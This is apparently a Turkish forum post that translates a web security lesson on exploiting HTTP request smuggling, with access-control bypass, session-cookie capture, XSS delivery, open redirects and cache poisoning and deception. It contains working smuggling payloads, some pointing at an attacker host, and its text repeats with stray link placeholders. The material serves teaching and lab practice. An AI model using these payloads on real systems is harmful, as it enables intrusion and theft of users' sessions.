- 29 Eki 2018
- 2,702
- 569
Bu bölümde, uygulamanın amaçlanan işlevselliğine ve diğer davranışlarına bağlı olarak HTTP istek kaçakçılığı güvenlik açıklarından yararlanılabilecek çeşitli yolları açıklayacağız.
Front-end güvenlik denetimlerini atlamak için HTTP istek kaçakçılığını kullanma
Bazı uygulamalarda, front-end web sunucusu bazı güvenlik kontrollerini uygulamak için kullanılır ve bireysel isteklerin işlenmesine izin verilip verilmeyeceğine karar verir. İzin verilen istekler back-end sunucusuna iletilir ve burada front-end kontrollerinden geçtikleri kabul edilir.
Örneğin, bir uygulamanın erişim kontrolü kısıtlamalarını uygulamak için front-end sunucuyu kullandığını ve yalnızca kullanıcının istenen URL'ye erişme yetkisi varsa istekleri ilettiğini varsayalım. Back-end sunucusu daha sonra başka bir kontrol yapmadan her isteği onaylar. Bu durumda, bir HTTP istek kaçakçılığı güvenlik açığı, kısıtlanmış bir URL'ye istek kaçakçılığı yaparak erişim kontrollerini atlamak için kullanılabilir.
Mevcut kullanıcının /home adresine erişmesine izin verildiğini ancak /admin adresine erişmesine izin verilmediğini varsayalım. Aşağıdaki istek kaçakçılığı saldırısını kullanarak bu kısıtlamayı aşabilirler:
Front-end sunucusu burada her ikisi de /home için olan iki istek görür ve bu nedenle istekler back-end sunucusuna iletilir. Ancak, back-end sunucusu /home için bir istek ve /admin için bir istek görür. (Her zaman olduğu gibi) isteklerin front-end kontrollerinden geçtiğini varsayar ve bu nedenle kısıtlanmış URL'ye erişim izni verir.
Bu bölümde 1. lab vardır, yorumlardan erişebilirsiniz.
Bu bölümde 2. lab vardır, yorumlardan erişebilirsiniz.
Front-end istek yeniden yazma işleminin açığa çıkarılması
Birçok uygulamada, front-end sunucusu, back-end sunucusuna iletilmeden önce, genellikle bazı ek istek başlıkları ekleyerek isteklerin yeniden yazılmasını gerçekleştirir. Örneğin, front-end sunucusu şunları yapabilir:
Bazı durumlarda, kaçak isteklerinizde normalde front-end sunucusu tarafından eklenen bazı başlıklar eksikse, back-end sunucusu istekleri normal şekilde işleme koymayabilir ve bu da kaçak isteklerin amaçlanan etkilere sahip olmamasına neden olabilir.
Front-end sunucunun istekleri tam olarak nasıl yeniden yazdığını ortaya çıkarmanın genellikle basit bir yolu vardır. Bunu yapmak için aşağıdaki adımları gerçekleştirmeniz gerekir:
Bir uygulamanın email parametresinin değerini yansıtan bir oturum açma işlevi olduğunu varsayalım:
Bu, aşağıdakileri içeren bir yanıtla sonuçlanır:
Burada, front-end sunucusu tarafından gerçekleştirilen yeniden yazmayı ortaya çıkarmak için aşağıdaki istek kaçakçılığı saldırısını kullanabilirsiniz:
İstekler front-end sunucusu tarafından ek başlıkları içerecek şekilde yeniden yazılacak ve ardından back-end sunucusu kaçırılan isteği işleyecek ve yeniden yazılan ikinci isteği email parametresinin değeri olarak ele alacaktır. Daha sonra bu değeri ikinci isteğin yanıtına geri yansıtacaktır:
Not: Son istek yeniden yazıldığından, ne kadar uzun olacağını bilemezsiniz. Kaçırılan istekteki Content-Length başlığındaki değer, back-end sunucunun isteğin ne kadar uzun olduğuna inandığını belirleyecektir. Bu değeri çok kısa ayarlarsanız, yeniden yazılan isteğin yalnızca bir kısmını alırsınız; çok uzun ayarlarsanız, back-end sunucusu isteğin tamamlanmasını beklerken zaman aşımına uğrayacaktır. Elbette çözüm, gönderilen istekten biraz daha büyük bir başlangıç değeri tahmin etmek ve ardından ilgilenilen her şeyi elde edene kadar daha fazla bilgi almak için değeri kademeli olarak artırmaktır.
Front-end sunucunun istekleri nasıl yeniden yazdığını ortaya çıkardıktan sonra, back-end sunucu tarafından amaçlanan şekilde işlenmelerini sağlamak için kaçak isteklerinize gerekli yeniden yazmaları uygulayabilirsiniz.
Bu bölümde 3. lab vardır, yorumlardan erişebilirsiniz.
Client kimlik doğrulamasını atlama
TLS handshake'nin bir parçası olarak, sunucular bir sertifika sağlayarak client ile (genellikle bir tarayıcı) kimliklerini doğrular. Bu sertifika, kayıtlı ana bilgisayar adlarıyla eşleşmesi gereken "common name" (CN) içerir. Client daha sonra bunu, beklenen etki alanına ait meşru bir sunucuyla bağlantılı olduğunu doğrulamak için kullanabilir.
Bazı siteler bir adım daha ileri giderek, clientlerin sunucuya bir sertifika da sunması gereken bir tür karşılıklı TLS kimlik doğrulaması uygular. Bu durumda, clientin CN'si genellikle bir kullanıcı adı veya benzeridir ve örneğin bir erişim kontrol mekanizmasının parçası olarak back-end uygulama mantığında kullanılabilir.
Clientin kimliğini doğrulayan bileşen genellikle sertifikadaki ilgili ayrıntıları bir veya daha fazla standart olmayan HTTP başlığı aracılığıyla uygulamaya veya back-end sunucusuna aktarır. Örneğin, front-end sunucular bazen gelen isteklere clientin CN'sini içeren bir başlık ekler:
Bu başlıkların kullanıcılardan tamamen gizli olması gerektiğinden, genellikle back-end sunucular tarafından dolaylı olarak güvenilirler. Doğru başlık ve değer kombinasyonunu gönderebileceğinizi varsayarsak, bu erişim kontrollerini atlamanıza olanak sağlayabilir.
Pratikte, bu davranış genellikle istismar edilemez çünkü front-end sunucuları zaten mevcutsa bu başlıkların üzerine yazma eğilimindedir. Bununla birlikte, kaçak istekler back-end'ten tamamen gizlenir, bu nedenle içerdikleri tüm başlıklar değiştirilmeden back-end'e gönderilir.
Diğer kullanıcıların isteklerini yakalama
Uygulama, metinsel verileri depolamanıza ve daha sonra almanıza olanak tanıyan herhangi bir işlevsellik içeriyorsa, bunu diğer kullanıcıların isteklerinin içeriğini yakalamak için potansiyel olarak kullanabilirsiniz. Bunlar, oturum çerezlerini veya kullanıcı tarafından gönderilen diğer hassas verileri içerebilir. Bu saldırı için araç olarak kullanılabilecek uygun işlevler yorumlar, e-postalar, profil açıklamaları, ekran adları vb. olabilir.
Saldırıyı gerçekleştirmek için, depolama işlevine veri gönderen bir isteği, depolanacak veriyi içeren parametre istekte en son konumlandırılmış olarak kaçırmanız gerekir. Örneğin, bir uygulamanın blogda saklanacak ve görüntülenecek bir blog yazısı yorumu göndermek için aşağıdaki isteği kullandığını varsayalım:
Şimdi, aşırı uzun bir Content-Length başlığını ve isteğin sonuna yerleştirilmiş comment parametresi ile eşdeğer bir isteği aşağıdaki gibi kaçırırsanız ne olacağını düşünün:
Kaçırılan isteğin Content-Length başlığı, gövdenin 400 bayt uzunluğunda olacağını gösterir, ancak biz yalnızca 144 bayt gönderdik. Bu durumda, back-end sunucusu yanıtı vermeden önce kalan 256 baytı bekleyecek ya da bu yanıt yeterince hızlı gelmezse zaman aşımına uğrayacaktır. Sonuç olarak, aynı bağlantı üzerinden back-end sunucuya başka bir istek gönderildiğinde, ilk 256 bayt aşağıdaki gibi kaçırılan isteğe etkili bir şekilde eklenir:
Hedefin isteğinin başlangıcı comment parametresinde yer aldığından, bu blogda bir yorum olarak yayınlanacak ve sadece ilgili gönderiyi ziyaret ederek okumanıza olanak sağlayacaktır.
Hedefin isteğinin daha fazlasını yakalamak için, kaçırılan isteğin Content-Length başlığının değerini uygun şekilde artırmanız yeterlidir, ancak bunun belirli bir miktar deneme yanılma içereceğini unutmayın. Bir zaman aşımıyla karşılaşırsanız, bu muhtemelen belirttiğiniz Content-Length değerinin kurbanın isteğinin gerçek uzunluğundan daha yüksek olduğu anlamına gelir. Bu durumda, saldırı tekrar çalışana kadar değeri azaltmanız yeterlidir.
Not: Bu teknikle ilgili bir sınırlama, genellikle yalnızca kaçırılan istek için geçerli olan parametre sınırlayıcısına kadar olan verileri yakalayacak olmasıdır. URL kodlu form gönderimleri için bu & karakteri olacaktır, yani kurban kullanıcının isteğinden depolanan içerik ilk & ile bitecektir, bu da sorgu dizesinde bile görünebilir.
Bu bölümde 4. lab vardır, yorumlardan erişebilirsiniz.
Reflected XSS'den KONU BAŞLIĞI LİNKİ 1287312832812832818213123213 yararlanmak için HTTP istek kaçakçılığını kullanma
Bir uygulama HTTP istek kaçakçılığına karşı savunmasızsa ve aynı zamanda reflected XSS içeriyorsa, uygulamanın diğer kullanıcılarını vurmak için bir istek kaçakçılığı saldırısı kullanabilirsiniz. Bu yaklaşım, reflected XSS'nin normal kullanımından iki yönden daha üstündür:
Örneğin, bir uygulamanın User-Agent başlığında reflected XSS açığı olduğunu varsayalım. Bunu aşağıdaki gibi bir istek kaçakçılığı saldırısında kullanabilirsiniz:
Bir sonraki kullanıcının isteği kaçırılan isteğe eklenecek ve yanıtta reflected XSS yükünü alacaklardır.
Bu bölümde 5. lab vardır, yorumlardan erişebilirsiniz.
Bir site içi yönlendirmeyi açık yönlendirmeye dönüştürmek için HTTP istek kaçakçılığını kullanma
Birçok uygulama bir URL'den diğerine yerinde yönlendirmeler gerçekleştirir ve isteğin Host başlığındaki ana bilgisayar adını yönlendirme URL'sine yerleştirir. Bunun bir örneği, Apache ve IIS web sunucularının varsayılan davranışıdır; burada sonda eğik çizgi olmayan bir klasöre yönelik bir istek, sonda eğik çizgi içeren aynı klasöre yönlendirme alır:
Bu davranış normalde zararsız olarak kabul edilir, ancak diğer kullanıcıları harici bir etki alanına yönlendirmek için bir istek kaçakçılığı saldırısında kullanılabilir. Örneğin:
Kaçırılan istek, saldırganın web sitesine bir yönlendirmeyi tetikleyecek ve bu da back-end sunucu tarafından işlenen bir sonraki kullanıcı isteğini etkileyecektir. Örneğin:
Burada kullanıcının isteği, web sitesindeki bir sayfa tarafından içe aktarılan bir JavaScript dosyası içindi. Saldırgan, yanıtta kendi JavaScript'ini döndürerek hedef kullanıcının güvenliğini tamamen tehlikeye atabilir.
Root-relative yönlendirmeleri açık yönlendirmelere dönüştürme
Bazı durumlarda, örneğin Location başlığı için root-relative URL oluşturmak üzere yolu kullanan sunucu düzeyinde yönlendirmelerle karşılaşabilirsiniz:
Sunucu, yolda protokole bağlı bir URL kullanmanıza izin veriyorsa, bu potansiyel olarak açık bir yönlendirme için kullanılabilir:
Web önbelleğini zehirlemek için HTTP istek kaçakçılığını kullanma
Önceki saldırının bir varyasyonunda, web önbelleğini zehirleme831271287382171283LİNK saldırısı gerçekleştirmek için HTTP istek kaçakçılığından faydalanmak mümkün olabilir. Front-end altyapısının herhangi bir bölümü içeriği önbelleğe alıyorsa (genellikle performans nedenleriyle), site dışı yönlendirme yanıtıyla önbelleği zehirlemek mümkün olabilir. Bu, saldırıyı kalıcı hale getirecek ve etkilenen URL'yi daha sonra talep eden tüm kullanıcıları etkileyecektir.
Bu varyantta saldırgan aşağıdakilerin tümünü front-end sunucusuna gönderir:
Kaçırılan istek back-end sunucusuna ulaşır ve bu sunucu daha önce olduğu gibi site dışı yönlendirmeyle yanıt verir. Front-end sunucusu bu yanıtı, ikinci istekteki URL olduğuna inandığı /static/include.js ile karşılaştırarak önbelleğe alır:
Bu noktadan sonra, diğer kullanıcılar bu URL'yi istediklerinde, saldırganın web sitesine yeniden yönlendirme alırlar.
Bu bölümde 6. lab vardır, yorumlardan erişebilirsiniz.
Web önbelleği aldatmacası gerçekleştirmek için HTTP istek kaçakçılığını kullanma
Saldırının bir başka çeşidinde, web önbelleği aldatmacası gerçekleştirmek için HTTP istek kaçakçılığından yararlanabilirsiniz. Bu, web önbelleği zehirleme saldırısına benzer bir şekilde çalışır ancak farklı bir amacı vardır.
Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?
Bu varyantta saldırgan, kullanıcıya özel bazı hassas içerikler döndüren bir isteği kaçırır. Örneğin:
Başka bir kullanıcıdan gelen ve back-end sunucuya iletilen bir sonraki istek, oturum çerezleri ve diğer başlıklar da dahil olmak üzere kaçırılan isteğe eklenecektir. Örneğin:
Back-end sunucu bu isteğe normal şekilde yanıt verir. İstekteki URL kullanıcının özel mesajları içindir ve istek hedef kullanıcının oturumu bağlamında işlenir. Front-end sunucu bu yanıtı, ikinci istekteki URL olduğuna inandığı /static/some-image.png ile karşılaştırarak önbelleğe alır:
Saldırgan daha sonra statik URL'yi ziyaret eder ve önbellekten döndürülen hassas içeriği alır.
Burada önemli bir uyarı, saldırganın hassas içeriğin önbelleğe alınacağı URL'yi bilmemesidir, çünkü bu, kaçırılan istek etkili olduğunda hedef kullanıcının istediği URL olacaktır. Saldırganın ele geçirilen içeriği bulmak için çok sayıda statik URL'yi getirmesi gerekebilir.
Bu bölümde 7. lab vardır, yorumlardan erişebilirsiniz.
Front-end güvenlik denetimlerini atlamak için HTTP istek kaçakçılığını kullanma
Bazı uygulamalarda, front-end web sunucusu bazı güvenlik kontrollerini uygulamak için kullanılır ve bireysel isteklerin işlenmesine izin verilip verilmeyeceğine karar verir. İzin verilen istekler back-end sunucusuna iletilir ve burada front-end kontrollerinden geçtikleri kabul edilir.
Örneğin, bir uygulamanın erişim kontrolü kısıtlamalarını uygulamak için front-end sunucuyu kullandığını ve yalnızca kullanıcının istenen URL'ye erişme yetkisi varsa istekleri ilettiğini varsayalım. Back-end sunucusu daha sonra başka bir kontrol yapmadan her isteği onaylar. Bu durumda, bir HTTP istek kaçakçılığı güvenlik açığı, kısıtlanmış bir URL'ye istek kaçakçılığı yaparak erişim kontrollerini atlamak için kullanılabilir.
Mevcut kullanıcının /home adresine erişmesine izin verildiğini ancak /admin adresine erişmesine izin verilmediğini varsayalım. Aşağıdaki istek kaçakçılığı saldırısını kullanarak bu kısıtlamayı aşabilirler:
HTTP:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.comFront-end sunucusu burada her ikisi de /home için olan iki istek görür ve bu nedenle istekler back-end sunucusuna iletilir. Ancak, back-end sunucusu /home için bir istek ve /admin için bir istek görür. (Her zaman olduğu gibi) isteklerin front-end kontrollerinden geçtiğini varsayar ve bu nedenle kısıtlanmış URL'ye erişim izni verir.
Bu bölümde 1. lab vardır, yorumlardan erişebilirsiniz.
Bu bölümde 2. lab vardır, yorumlardan erişebilirsiniz.
Front-end istek yeniden yazma işleminin açığa çıkarılması
Birçok uygulamada, front-end sunucusu, back-end sunucusuna iletilmeden önce, genellikle bazı ek istek başlıkları ekleyerek isteklerin yeniden yazılmasını gerçekleştirir. Örneğin, front-end sunucusu şunları yapabilir:
- TLS bağlantısını sonlandırır ve kullanılan protokol ve şifreleri açıklayan bazı başlıklar ekler;
- kullanıcının IP adresini içeren bir X-Forwarded-For başlığı eklemek;
- Oturum çerezine göre kullanıcının kimliğini belirleme ve kullanıcıyı tanımlayan bir başlık ekleme; veya
- diğer saldırılar için ilgi çekici olan bazı hassas bilgiler.
Bazı durumlarda, kaçak isteklerinizde normalde front-end sunucusu tarafından eklenen bazı başlıklar eksikse, back-end sunucusu istekleri normal şekilde işleme koymayabilir ve bu da kaçak isteklerin amaçlanan etkilere sahip olmamasına neden olabilir.
Front-end sunucunun istekleri tam olarak nasıl yeniden yazdığını ortaya çıkarmanın genellikle basit bir yolu vardır. Bunu yapmak için aşağıdaki adımları gerçekleştirmeniz gerekir:
- Bir istek parametresinin değerini uygulamanın yanıtına yansıtan bir POST isteği bulun.
- Yansıtılan parametre mesaj gövdesinde en son görünecek şekilde parametreleri karıştırın.
- Bu isteği back-end sunucusuna kaçırın, ardından doğrudan yeniden yazılmış formu ortaya çıkarmak istediğiniz normal bir istek gönderin.
Bir uygulamanın email parametresinin değerini yansıtan bir oturum açma işlevi olduğunu varsayalım:
HTTP:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
[email protected]Bu, aşağıdakileri içeren bir yanıtla sonuçlanır:
HTTP:
<input id="email" value="[email protected]" type="text">Burada, front-end sunucusu tarafından gerçekleştirilen yeniden yazmayı ortaya çıkarmak için aşağıdaki istek kaçakçılığı saldırısını kullanabilirsiniz:
HTTP:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...İstekler front-end sunucusu tarafından ek başlıkları içerecek şekilde yeniden yazılacak ve ardından back-end sunucusu kaçırılan isteği işleyecek ve yeniden yazılan ikinci isteği email parametresinin değeri olarak ele alacaktır. Daha sonra bu değeri ikinci isteğin yanıtına geri yansıtacaktır:
HTTP:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...Not: Son istek yeniden yazıldığından, ne kadar uzun olacağını bilemezsiniz. Kaçırılan istekteki Content-Length başlığındaki değer, back-end sunucunun isteğin ne kadar uzun olduğuna inandığını belirleyecektir. Bu değeri çok kısa ayarlarsanız, yeniden yazılan isteğin yalnızca bir kısmını alırsınız; çok uzun ayarlarsanız, back-end sunucusu isteğin tamamlanmasını beklerken zaman aşımına uğrayacaktır. Elbette çözüm, gönderilen istekten biraz daha büyük bir başlangıç değeri tahmin etmek ve ardından ilgilenilen her şeyi elde edene kadar daha fazla bilgi almak için değeri kademeli olarak artırmaktır.
Front-end sunucunun istekleri nasıl yeniden yazdığını ortaya çıkardıktan sonra, back-end sunucu tarafından amaçlanan şekilde işlenmelerini sağlamak için kaçak isteklerinize gerekli yeniden yazmaları uygulayabilirsiniz.
Bu bölümde 3. lab vardır, yorumlardan erişebilirsiniz.
Client kimlik doğrulamasını atlama
TLS handshake'nin bir parçası olarak, sunucular bir sertifika sağlayarak client ile (genellikle bir tarayıcı) kimliklerini doğrular. Bu sertifika, kayıtlı ana bilgisayar adlarıyla eşleşmesi gereken "common name" (CN) içerir. Client daha sonra bunu, beklenen etki alanına ait meşru bir sunucuyla bağlantılı olduğunu doğrulamak için kullanabilir.
Bazı siteler bir adım daha ileri giderek, clientlerin sunucuya bir sertifika da sunması gereken bir tür karşılıklı TLS kimlik doğrulaması uygular. Bu durumda, clientin CN'si genellikle bir kullanıcı adı veya benzeridir ve örneğin bir erişim kontrol mekanizmasının parçası olarak back-end uygulama mantığında kullanılabilir.
Clientin kimliğini doğrulayan bileşen genellikle sertifikadaki ilgili ayrıntıları bir veya daha fazla standart olmayan HTTP başlığı aracılığıyla uygulamaya veya back-end sunucusuna aktarır. Örneğin, front-end sunucular bazen gelen isteklere clientin CN'sini içeren bir başlık ekler:
HTTP:
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlosBu başlıkların kullanıcılardan tamamen gizli olması gerektiğinden, genellikle back-end sunucular tarafından dolaylı olarak güvenilirler. Doğru başlık ve değer kombinasyonunu gönderebileceğinizi varsayarsak, bu erişim kontrollerini atlamanıza olanak sağlayabilir.
Pratikte, bu davranış genellikle istismar edilemez çünkü front-end sunucuları zaten mevcutsa bu başlıkların üzerine yazma eğilimindedir. Bununla birlikte, kaçak istekler back-end'ten tamamen gizlenir, bu nedenle içerdikleri tüm başlıklar değiştirilmeden back-end'e gönderilir.
HTTP:
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: xDiğer kullanıcıların isteklerini yakalama
Uygulama, metinsel verileri depolamanıza ve daha sonra almanıza olanak tanıyan herhangi bir işlevsellik içeriyorsa, bunu diğer kullanıcıların isteklerinin içeriğini yakalamak için potansiyel olarak kullanabilirsiniz. Bunlar, oturum çerezlerini veya kullanıcı tarafından gönderilen diğer hassas verileri içerebilir. Bu saldırı için araç olarak kullanılabilecek uygun işlevler yorumlar, e-postalar, profil açıklamaları, ekran adları vb. olabilir.
Saldırıyı gerçekleştirmek için, depolama işlevine veri gönderen bir isteği, depolanacak veriyi içeren parametre istekte en son konumlandırılmış olarak kaçırmanız gerekir. Örneğin, bir uygulamanın blogda saklanacak ve görüntülenecek bir blog yazısı yorumu göndermek için aşağıdaki isteği kullandığını varsayalım:
HTTP:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.netŞimdi, aşırı uzun bir Content-Length başlığını ve isteğin sonuna yerleştirilmiş comment parametresi ile eşdeğer bir isteği aşağıdaki gibi kaçırırsanız ne olacağını düşünün:
HTTP:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=Kaçırılan isteğin Content-Length başlığı, gövdenin 400 bayt uzunluğunda olacağını gösterir, ancak biz yalnızca 144 bayt gönderdik. Bu durumda, back-end sunucusu yanıtı vermeden önce kalan 256 baytı bekleyecek ya da bu yanıt yeterince hızlı gelmezse zaman aşımına uğrayacaktır. Sonuç olarak, aynı bağlantı üzerinden back-end sunucuya başka bir istek gönderildiğinde, ilk 256 bayt aşağıdaki gibi kaçırılan isteğe etkili bir şekilde eklenir:
HTTP:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...Hedefin isteğinin başlangıcı comment parametresinde yer aldığından, bu blogda bir yorum olarak yayınlanacak ve sadece ilgili gönderiyi ziyaret ederek okumanıza olanak sağlayacaktır.
Hedefin isteğinin daha fazlasını yakalamak için, kaçırılan isteğin Content-Length başlığının değerini uygun şekilde artırmanız yeterlidir, ancak bunun belirli bir miktar deneme yanılma içereceğini unutmayın. Bir zaman aşımıyla karşılaşırsanız, bu muhtemelen belirttiğiniz Content-Length değerinin kurbanın isteğinin gerçek uzunluğundan daha yüksek olduğu anlamına gelir. Bu durumda, saldırı tekrar çalışana kadar değeri azaltmanız yeterlidir.
Not: Bu teknikle ilgili bir sınırlama, genellikle yalnızca kaçırılan istek için geçerli olan parametre sınırlayıcısına kadar olan verileri yakalayacak olmasıdır. URL kodlu form gönderimleri için bu & karakteri olacaktır, yani kurban kullanıcının isteğinden depolanan içerik ilk & ile bitecektir, bu da sorgu dizesinde bile görünebilir.
Bu bölümde 4. lab vardır, yorumlardan erişebilirsiniz.
Reflected XSS'den KONU BAŞLIĞI LİNKİ 1287312832812832818213123213 yararlanmak için HTTP istek kaçakçılığını kullanma
Bir uygulama HTTP istek kaçakçılığına karşı savunmasızsa ve aynı zamanda reflected XSS içeriyorsa, uygulamanın diğer kullanıcılarını vurmak için bir istek kaçakçılığı saldırısı kullanabilirsiniz. Bu yaklaşım, reflected XSS'nin normal kullanımından iki yönden daha üstündür:
- Hedef kullanıcılarla hiçbir etkileşim gerektirmez. Onlara bir URL atmanız ve ziyaret etmelerini beklemeniz gerekmez. Sadece XSS yükünü içeren bir isteği kaçırırsınız ve back-end sunucu tarafından işlenen bir sonraki kullanıcının isteği etkilenir.
- HTTP istek başlıkları gibi normal bir reflected XSS saldırısında önemsiz bir şekilde kontrol edilemeyen istek bölümlerinde XSS davranışından yararlanmak için kullanılabilir.
Örneğin, bir uygulamanın User-Agent başlığında reflected XSS açığı olduğunu varsayalım. Bunu aşağıdaki gibi bir istek kaçakçılığı saldırısında kullanabilirsiniz:
HTTP:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: XBir sonraki kullanıcının isteği kaçırılan isteğe eklenecek ve yanıtta reflected XSS yükünü alacaklardır.
Bu bölümde 5. lab vardır, yorumlardan erişebilirsiniz.
Bir site içi yönlendirmeyi açık yönlendirmeye dönüştürmek için HTTP istek kaçakçılığını kullanma
Birçok uygulama bir URL'den diğerine yerinde yönlendirmeler gerçekleştirir ve isteğin Host başlığındaki ana bilgisayar adını yönlendirme URL'sine yerleştirir. Bunun bir örneği, Apache ve IIS web sunucularının varsayılan davranışıdır; burada sonda eğik çizgi olmayan bir klasöre yönelik bir istek, sonda eğik çizgi içeren aynı klasöre yönlendirme alır:
HTTP:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/Bu davranış normalde zararsız olarak kabul edilir, ancak diğer kullanıcıları harici bir etki alanına yönlendirmek için bir istek kaçakçılığı saldırısında kullanılabilir. Örneğin:
HTTP:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XKaçırılan istek, saldırganın web sitesine bir yönlendirmeyi tetikleyecek ve bu da back-end sunucu tarafından işlenen bir sonraki kullanıcı isteğini etkileyecektir. Örneğin:
HTTP:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/Burada kullanıcının isteği, web sitesindeki bir sayfa tarafından içe aktarılan bir JavaScript dosyası içindi. Saldırgan, yanıtta kendi JavaScript'ini döndürerek hedef kullanıcının güvenliğini tamamen tehlikeye atabilir.
Root-relative yönlendirmeleri açık yönlendirmelere dönüştürme
Bazı durumlarda, örneğin Location başlığı için root-relative URL oluşturmak üzere yolu kullanan sunucu düzeyinde yönlendirmelerle karşılaşabilirsiniz:
HTTP:
GET /example HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: /example/Sunucu, yolda protokole bağlı bir URL kullanmanıza izin veriyorsa, bu potansiyel olarak açık bir yönlendirme için kullanılabilir:
HTTP:
GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/Web önbelleğini zehirlemek için HTTP istek kaçakçılığını kullanma
Önceki saldırının bir varyasyonunda, web önbelleğini zehirleme831271287382171283LİNK saldırısı gerçekleştirmek için HTTP istek kaçakçılığından faydalanmak mümkün olabilir. Front-end altyapısının herhangi bir bölümü içeriği önbelleğe alıyorsa (genellikle performans nedenleriyle), site dışı yönlendirme yanıtıyla önbelleği zehirlemek mümkün olabilir. Bu, saldırıyı kalıcı hale getirecek ve etkilenen URL'yi daha sonra talep eden tüm kullanıcıları etkileyecektir.
Bu varyantta saldırgan aşağıdakilerin tümünü front-end sunucusuna gönderir:
HTTP:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.comKaçırılan istek back-end sunucusuna ulaşır ve bu sunucu daha önce olduğu gibi site dışı yönlendirmeyle yanıt verir. Front-end sunucusu bu yanıtı, ikinci istekteki URL olduğuna inandığı /static/include.js ile karşılaştırarak önbelleğe alır:
HTTP:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/Bu noktadan sonra, diğer kullanıcılar bu URL'yi istediklerinde, saldırganın web sitesine yeniden yönlendirme alırlar.
Bu bölümde 6. lab vardır, yorumlardan erişebilirsiniz.
Web önbelleği aldatmacası gerçekleştirmek için HTTP istek kaçakçılığını kullanma
Saldırının bir başka çeşidinde, web önbelleği aldatmacası gerçekleştirmek için HTTP istek kaçakçılığından yararlanabilirsiniz. Bu, web önbelleği zehirleme saldırısına benzer bir şekilde çalışır ancak farklı bir amacı vardır.
Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?
- Web önbellek zehirlenmesinde, saldırgan uygulamanın önbellekte bazı kötü amaçlı içerikler depolamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
- Web önbellek aldatmacasında, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbellekte saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten geri alır.
Bu varyantta saldırgan, kullanıcıya özel bazı hassas içerikler döndüren bir isteği kaçırır. Örneğin:
HTTP:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: XBaşka bir kullanıcıdan gelen ve back-end sunucuya iletilen bir sonraki istek, oturum çerezleri ve diğer başlıklar da dahil olmak üzere kaçırılan isteğe eklenecektir. Örneğin:
HTTP:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...Back-end sunucu bu isteğe normal şekilde yanıt verir. İstekteki URL kullanıcının özel mesajları içindir ve istek hedef kullanıcının oturumu bağlamında işlenir. Front-end sunucu bu yanıtı, ikinci istekteki URL olduğuna inandığı /static/some-image.png ile karşılaştırarak önbelleğe alır:
HTTP:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
